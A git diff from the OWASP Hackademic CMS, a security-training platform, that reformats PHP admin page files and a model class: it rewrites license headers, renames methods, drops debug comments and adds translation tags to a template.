function getChallengesOfUser($user_id) + { + global $db; + $params = array(':user_id' => $user_id); + $sql = "SELECT DISTINCT class_id, challenges.id, challenges.title, challenges.pkg_name, @@ -59,61 +65,48 @@ class_id, FROM challenges LEFT JOIN class_challenges ON challenges.id = class_challenges.challenge_id WHERE challenges.publish =1 - AND (" - /*(visibility = 'public' AND availability = 'public')*/ - ."( class_challenges.class_id - IN ( SELECT class_memberships.class_id AS class_id - FROM class_memberships - WHERE class_memberships.user_id = :user_id + AND ("."(class_challenges.class_id + IN (SELECT class_memberships.class_id AS class_id + FROM class_memberships + WHERE class_memberships.user_id = :user_id ) ) ) ORDER BY challenges.id"; - $result_array = self::findBySQL($sql,$params); - //Debug::show($result_array,'all',$this,_FUNCTION_); - return !empty($result_array)?$result_array:false; - } - public static function print_vars($var){ - $result =""; - foreach($var as $key=>$value) - $result .= "

".$key."=>".$value."

"; - return $result; - } - private static function findBySQL($sql, $params = NULL) { - global $db; - $result_set = $db->read($sql, $params, self::$action_type); - $object_array = array(); - while($row = $db->fetchArray($result_set)) { - $object_array[] = self::instantiate($row); - } - return $object_array; - } - public static function instantiate($record) { - $object = new self; - foreach($record as $attribute => $value) { - if($object->hasAttribute($attribute)) { - $object->$attribute=$value; - } - } - return $object; - } - private function hasAttribute($attribute) { - $object_vars = get_object_vars($this); - return array_key_exists($attribute,$object_vars); - } - private static function compare_challenges($ch_a, $ch_b) { - - // var_dump($ch_a->id);var_dump($ch_b->id);echo '
'; - - if ($ch_a->id === $ch_b->id){ - // echo 'equal '. $ch_a->id.'
'; - return 0; - }elseif($ch_a->id < $ch_b->id){ - // echo 'less '. $ch_a->id.' '.$ch_b->id.'
'; - return -1; - }elseif($ch_a->id > $ch_b->id){ - // echo 'more '. $ch_a->id.' '.$ch_b->id.'
'; - return 1; - } - } + $result_array = self::_findBySQL($sql, $params); + return !empty($result_array)?$result_array:false; + } + public static function printVars($var) + { + $result =""; + foreach ($var as $key=>$value) { + $result .= "

".$key."=>".$value."

"; + } + return $result; + } + private static function _findBySQL($sql, $params = null) + { + global $db; + $result_set = $db->read($sql, $params, self::$_action_type); + $object_array = array(); + while ($row = $db->fetchArray($result_set)) { + $object_array[] = self::instantiate($row); + } + return $object_array; + } + public static function instantiate($record) + { + $object = new self; + foreach ($record as $attribute => $value) { + if ($object->_hasAttribute($attribute)) { + $object->$attribute=$value; + } + } + return $object; + } + private function _hasAttribute($attribute) + { + $object_vars = get_object_vars($this); + return array_key_exists($attribute, $object_vars); + } } diff --git a/admin/pages/addarticle.php b/admin/pages/addarticle.php index 55b3e3d4..036ceb94 100755 --- a/admin/pages/addarticle.php +++ b/admin/pages/addarticle.php @@ -1,36 +1,37 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html +. + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou * @copyright 2012 OWASP - * - */ + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html + */ -require_once(HACKADEMIC_PATH."admin/controller/class.AddArticleController.php"); - -$controller = new AddArticleController(); -echo $controller->go(); \ No newline at end of file +require_once HACKADEMIC_PATH."admin/controller/class.AddArticleController.php"; + +$controller = new AddArticleController(); +echo $controller->go(); diff --git a/admin/pages/addchallenge.php b/admin/pages/addchallenge.php index 11b629ff..0efbbe94 100755 --- a/admin/pages/addchallenge.php +++ b/admin/pages/addchallenge.php @@ -1,6 +1,5 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * + * This file is part of Hackademic CMS + * (https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project). + * + * Hackademic CMS is free software: you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation, either version 2 of the License, or (at your option) any later + * version. + * + * Hackademic CMS is distributed in the hope that it will be useful, but WITHOUT ANY + * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A + * PARTICULAR PURPOSE. See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH."admin/controller/class.AddChallengeController.php"); +require_once HACKADEMIC_PATH."admin/controller/class.AddChallengeController.php"; $controller = new AddChallengeController(); -echo $controller->go(); \ No newline at end of file +echo $controller->go(); diff --git a/admin/pages/addclass.php b/admin/pages/addclass.php index d420f336..de4e5e4e 100755 --- a/admin/pages/addclass.php +++ b/admin/pages/addclass.php @@ -1,7 +1,6 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html + * This file is part of Hackademic CMS + * (https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project). + * + * Hackademic CMS is free software: you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation, either version 2 of the License, or (at your option) any later + * version. + * + * Hackademic CMS is distributed in the hope that it will be useful, but WITHOUT ANY + * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A + * PARTICULAR PURPOSE. See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou * @copyright 2012 OWASP - * + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH."admin/controller/class.AddClassController.php"); +require_once HACKADEMIC_PATH."admin/controller/class.AddClassController.php"; $controller = new AddClassController(); -echo $controller->go(); \ No newline at end of file +echo $controller->go(); diff --git a/admin/pages/adduser.php b/admin/pages/adduser.php index 5089f955..b7c89cc7 100755 --- a/admin/pages/adduser.php +++ b/admin/pages/adduser.php @@ -1,6 +1,5 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * + * This file is part of Hackademic CMS + * (https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project). + * + * Hackademic CMS is free software: you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation, either version 2 of the License, or (at your option) any later + * version. + * + * Hackademic CMS is distributed in the hope that it will be useful, but WITHOUT ANY + * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A + * PARTICULAR PURPOSE. See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH."admin/controller/class.AddUserController.php"); +require_once HACKADEMIC_PATH."admin/controller/class.AddUserController.php"; $controller = new AddUserController(); -echo $controller->go(); \ No newline at end of file +echo $controller->go(); diff --git a/admin/pages/articlemanager.php b/admin/pages/articlemanager.php index f6894dfb..67bccb8a 100755 --- a/admin/pages/articlemanager.php +++ b/admin/pages/articlemanager.php @@ -1,36 +1,38 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ + * + * LICENSE: + * + * This file is part of Hackademic CMS + * (https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project). + * + * Hackademic CMS is free software: you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation, either version 2 of the License, or (at your option) any later + * version. + * + * Hackademic CMS is distributed in the hope that it will be useful, but WITHOUT ANY + * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A + * PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html + */ + +require_once HACKADEMIC_PATH."admin/controller/class.ArticleManagerController.php"; -require_once(HACKADEMIC_PATH."admin/controller/class.ArticleManagerController.php"); - $controller = new ArticleManagerController(); -echo $controller->go(); \ No newline at end of file +echo $controller->go(); diff --git a/admin/pages/challengemanager.php b/admin/pages/challengemanager.php index 130e489a..8f81bc04 100755 --- a/admin/pages/challengemanager.php +++ b/admin/pages/challengemanager.php @@ -1,6 +1,5 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * + * This file is part of Hackademic CMS + * (https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project). + * + * Hackademic CMS is free software: you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation, either version 2 of the License, or (at your option) any later + * version. + * + * Hackademic CMS is distributed in the hope that it will be useful, but WITHOUT ANY + * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A + * PARTICULAR PURPOSE. See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH."admin/controller/class.ChallengeManagerController.php"); +require_once HACKADEMIC_PATH."admin/controller/class.ChallengeManagerController.php"; $controller = new ChallengeManagerController(); -echo $controller->go(); \ No newline at end of file +echo $controller->go(); diff --git a/admin/pages/classchallenges.php b/admin/pages/classchallenges.php index 7a6da3c3..6fd21ae6 100755 --- a/admin/pages/classchallenges.php +++ b/admin/pages/classchallenges.php @@ -1,6 +1,5 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * + * This file is part of Hackademic CMS + * (https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project). + * + * Hackademic CMS is free software: you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation, either version 2 of the License, or (at your option) any later + * version. + * + * Hackademic CMS is distributed in the hope that it will be useful, but WITHOUT ANY + * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A + * PARTICULAR PURPOSE. See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH."admin/controller/class.ClassChallengesController.php"); +require_once HACKADEMIC_PATH."admin/controller/class.ClassChallengesController.php"; $controller = new ClassChallengesController(); -echo $controller->go(); \ No newline at end of file +echo $controller->go(); diff --git a/admin/pages/classmemberships.php b/admin/pages/classmemberships.php index 4cd4da76..2a04d29a 100755 --- a/admin/pages/classmemberships.php +++ b/admin/pages/classmemberships.php @@ -1,6 +1,5 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * + * This file is part of Hackademic CMS + * (https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project). + * + * Hackademic CMS is free software: you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation, either version 2 of the License, or (at your option) any later + * version. + * + * Hackademic CMS is distributed in the hope that it will be useful, but WITHOUT ANY + * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A + * PARTICULAR PURPOSE. See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH."admin/controller/class.ClassMembershipsController.php"); +require_once HACKADEMIC_PATH."admin/controller/class.ClassMembershipsController.php"; $controller = new ClassMembershipsController(); -echo $controller->go(); \ No newline at end of file +echo $controller->go(); diff --git a/admin/pages/dashboard.php b/admin/pages/dashboard.php index e83d1015..545f76b7 100755 --- a/admin/pages/dashboard.php +++ b/admin/pages/dashboard.php @@ -1,36 +1,37 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ + * This file is part of Hackademic CMS + * (https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project). + * + * Hackademic CMS is free software: you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation, either version 2 of the License, or (at your option) any later + * version. + * + * Hackademic CMS is distributed in the hope that it will be useful, but WITHOUT ANY + * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A + * PARTICULAR PURPOSE. See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html + */ + +require_once HACKADEMIC_PATH."admin/controller/class.DashboardController.php"; -require_once(HACKADEMIC_PATH."admin/controller/class.DashboardController.php"); - $controller = new DashboardController(); -echo $controller->go(); \ No newline at end of file +echo $controller->go(); diff --git a/admin/pages/download.php b/admin/pages/download.php index eb1f938c..cf5dc1d0 100755 --- a/admin/pages/download.php +++ b/admin/pages/download.php @@ -1,6 +1,5 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * + * This file is part of Hackademic CMS + * (https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project). + * + * Hackademic CMS is free software: you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation, either version 2 of the License, or (at your option) any later + * version. + * + * Hackademic CMS is distributed in the hope that it will be useful, but WITHOUT ANY + * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A + * PARTICULAR PURPOSE. See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH."admin/controller/class.DownloadController.php"); +require_once HACKADEMIC_PATH."admin/controller/class.DownloadController.php"; $controller = new DownloadController(); -echo $controller->go(); \ No newline at end of file +echo $controller->go(); diff --git a/admin/pages/editarticle.php b/admin/pages/editarticle.php index 46b12ce8..84ea508d 100755 --- a/admin/pages/editarticle.php +++ b/admin/pages/editarticle.php @@ -1,6 +1,5 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ + * This file is part of Hackademic CMS + * (https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project). + * + * Hackademic CMS is free software: you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation, either version 2 of the License, or (at your option) any later + * version. + * + * Hackademic CMS is distributed in the hope that it will be useful, but WITHOUT ANY + * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A + * PARTICULAR PURPOSE. See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html + */ -require_once(HACKADEMIC_PATH."admin/controller/class.EditArticleController.php"); +require_once HACKADEMIC_PATH."admin/controller/class.EditArticleController.php"; $controller = new EditArticleController(); -echo $controller->go(); \ No newline at end of file +echo $controller->go(); diff --git a/admin/pages/editchallenge.php b/admin/pages/editchallenge.php index fd0a7374..39d71239 100755 --- a/admin/pages/editchallenge.php +++ b/admin/pages/editchallenge.php @@ -1,6 +1,5 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html + * This file is part of Hackademic CMS + * (https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project). + * + * Hackademic CMS is free software: you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation, either version 2 of the License, or (at your option) any later + * version. + * + * Hackademic CMS is distributed in the hope that it will be useful, but WITHOUT ANY + * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A + * PARTICULAR PURPOSE. See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou * @copyright 2012 OWASP - * + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH."admin/controller/class.EditChallengeController.php"); +require_once HACKADEMIC_PATH."admin/controller/class.EditChallengeController.php"; $controller = new EditChallengeController(); -echo $controller->go(); \ No newline at end of file +echo $controller->go(); diff --git a/admin/pages/editcode.php b/admin/pages/editcode.php index c4214d8a..3842fa0f 100755 --- a/admin/pages/editcode.php +++ b/admin/pages/editcode.php @@ -1,6 +1,5 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html + * This file is part of Hackademic CMS + * (https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project). + * + * Hackademic CMS is free software: you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation, either version 2 of the License, or (at your option) any later + * version. + * + * Hackademic CMS is distributed in the hope that it will be useful, but WITHOUT ANY + * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A + * PARTICULAR PURPOSE. See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou * @copyright 2012 OWASP - * + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH."admin/controller/class.EditCodeController.php"); +require_once HACKADEMIC_PATH."admin/controller/class.EditCodeController.php"; -$controller = new EditCodeController(); -echo $controller->go(); \ No newline at end of file +$controller = new EditCodeController(); +echo $controller->go(); diff --git a/admin/pages/edituser.php b/admin/pages/edituser.php index a57151f4..46630a19 100755 --- a/admin/pages/edituser.php +++ b/admin/pages/edituser.php @@ -1,6 +1,5 @@ -. + * Hackademic CMS is free software: you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation, either version 2 of the License, or (at your option) any later + * version. * + * Hackademic CMS is distributed in the hope that it will be useful, but WITHOUT ANY + * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A + * PARTICULAR PURPOSE. See the GNU General Public License for more details. * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html * */ -require_once(HACKADEMIC_PATH."admin/controller/class.EditUserController.php"); +require_once HACKADEMIC_PATH."admin/controller/class.EditUserController.php"; $controller = new EditUserController(); -echo $controller->go(); \ No newline at end of file +echo $controller->go(); diff --git a/admin/pages/login.php b/admin/pages/login.php index ed53a780..287f1cfe 100755 --- a/admin/pages/login.php +++ b/admin/pages/login.php @@ -1,6 +1,5 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * + * This file is part of Hackademic CMS + * (https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project). + * + * Hackademic CMS is free software: you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation, either version 2 of the License, or (at your option) any later + * version. + * + * Hackademic CMS is distributed in the hope that it will be useful, but WITHOUT ANY + * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A + * PARTICULAR PURPOSE. See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH."admin/controller/class.LoginController.php"); +require_once HACKADEMIC_PATH."admin/controller/class.LoginController.php"; $controller = new LoginController(); -echo $controller->go(); \ No newline at end of file +echo $controller->go(); diff --git a/admin/pages/logout.php b/admin/pages/logout.php index 10121cd2..a7c29990 100755 --- a/admin/pages/logout.php +++ b/admin/pages/logout.php @@ -1,6 +1,5 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * + * This file is part of Hackademic CMS + * (https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project). + * + * Hackademic CMS is free software: you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation, either version 2 of the License, or (at your option) any later + * version. + * + * Hackademic CMS is distributed in the hope that it will be useful, but WITHOUT ANY + * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A + * PARTICULAR PURPOSE. See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH."admin/controller/class.LogoutController.php"); +require_once HACKADEMIC_PATH."admin/controller/class.LogoutController.php"; $controller = new LogoutController(); -echo $controller->go(); \ No newline at end of file +echo $controller->go(); diff --git a/admin/pages/manageclass.php b/admin/pages/manageclass.php index 0d7066ff..cdae3985 100755 --- a/admin/pages/manageclass.php +++ b/admin/pages/manageclass.php @@ -1,36 +1,37 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * + * This file is part of Hackademic CMS + * (https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project). + * + * Hackademic CMS is free software: you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation, either version 2 of the License, or (at your option) any later + * version. + * + * Hackademic CMS is distributed in the hope that it will be useful, but WITHOUT ANY + * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A + * PARTICULAR PURPOSE. See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH."admin/controller/class.ClassManagerController.php"); +require_once HACKADEMIC_PATH."admin/controller/class.ClassManagerController.php"; $controller = new ClassManagerController(); -echo $controller->go(); \ No newline at end of file +echo $controller->go(); diff --git a/admin/pages/menumanager.php b/admin/pages/menumanager.php index 0dc818f5..a6fbb16d 100644 --- a/admin/pages/menumanager.php +++ b/admin/pages/menumanager.php @@ -1,36 +1,36 @@ . + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . * + * PHP Version 5. * - * @author Daniel Kvist - * @license http://www.gnu.org/licenses/gpl.html + * @author Daniel Kvist * @copyright 2013 OWASP - * + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH . "admin/controller/class.MenuManagerController.php"); +require_once HACKADEMIC_PATH . "admin/controller/class.MenuManagerController.php"; $controller = new MenuManagerController(); echo $controller->go(); diff --git a/admin/pages/options.php b/admin/pages/options.php index 52b0ae58..822313ad 100644 --- a/admin/pages/options.php +++ b/admin/pages/options.php @@ -1,6 +1,5 @@ . + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . * + * PHP Version 5. * - * @author Daniel Kvist - * @license http://www.gnu.org/licenses/gpl.html + * @author Daniel Kvist * @copyright 2013 OWASP - * + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH . "admin/controller/class.OptionsController.php"); +require_once HACKADEMIC_PATH . "admin/controller/class.OptionsController.php"; $controller = new OptionsController(); -echo $controller->go(); \ No newline at end of file +echo $controller->go(); diff --git a/admin/pages/scoringrules.php b/admin/pages/scoringrules.php index 468c9ad4..4d4bdf86 100755 --- a/admin/pages/scoringrules.php +++ b/admin/pages/scoringrules.php @@ -1,36 +1,37 @@ -. - * - * - * @author Spyros Gasteratos - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * - */ -//require_once("../../init.php"); -require_once(HACKADEMIC_PATH."admin/controller/class.ScoringRulesController.php"); - -$controller = new ScoringRulesController(); -echo $controller->go(); +. + * + * PHP Version 5. + * + * @author Spyros Gasteratos + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html + */ + +require_once HACKADEMIC_PATH."admin/controller/class.ScoringRulesController.php"; + +$controller = new ScoringRulesController(); +echo $controller->go(); diff --git a/admin/pages/showclass.php b/admin/pages/showclass.php index 13a17044..62188e4f 100755 --- a/admin/pages/showclass.php +++ b/admin/pages/showclass.php @@ -1,6 +1,5 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * + * This file is part of Hackademic CMS + * (https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project). + * + * Hackademic CMS is free software: you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation, either version 2 of the License, or (at your option) any later + * version. + * + * Hackademic CMS is distributed in the hope that it will be useful, but WITHOUT ANY + * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A + * PARTICULAR PURPOSE. See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Pubic License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH."admin/controller/class.ShowClassController.php"); +require_once HACKADEMIC_PATH."admin/controller/class.ShowClassController.php"; $controller = new ShowClassController(); -echo $controller->go(); \ No newline at end of file +echo $controller->go(); diff --git a/admin/pages/usermanager.php b/admin/pages/usermanager.php index b4f85201..05dfc141 100755 --- a/admin/pages/usermanager.php +++ b/admin/pages/usermanager.php @@ -1,6 +1,5 @@ -. - * - * - * @author Pragya Gupta - * @author Konstantinos Papapanagiotou - * @license http://www.gnu.org/licenses/gpl.html - * @copyright 2012 OWASP - * + * This file is part of Hackademic CMS + * (https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project). + * + * Hackademic CMS is free software: you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation, either version 2 of the License, or (at your option) any later + * version. + * + * Hackademic CMS is distributed in the hope that it will be useful, but WITHOUT ANY + * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A + * PARTICULAR PURPOSE. See the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with + * Hackademic CMS. If not, see . + * + * PHP Version 5. + * + * @author Pragya Gupta + * @author Konstantinos Papapanagiotou + * @copyright 2012 OWASP + * @license GNU General Public License http://www.gnu.org/licenses/gpl.html */ -require_once(HACKADEMIC_PATH."admin/controller/class.UserManagerController.php"); +require_once HACKADEMIC_PATH."admin/controller/class.UserManagerController.php"; $controller = new UserManagerController(); -echo $controller->go(); \ No newline at end of file +echo $controller->go(); diff --git a/admin/view/editcode.tpl b/admin/view/editcode.tpl index f8ee6bf8..0d9a0056 100755 --- a/admin/view/editcode.tpl +++ b/admin/view/editcode.tpl @@ -1,7 +1,7 @@ {include file="_header.tpl"}
-

Edit Code - {$title}

+

{t}Edit Code - {/t}{$title}


{include file="_usermessage.tpl"}
@@ -11,9 +11,9 @@
@@ -28,7 +28,7 @@

- Download Challenge + {t}Download Challange{/t}

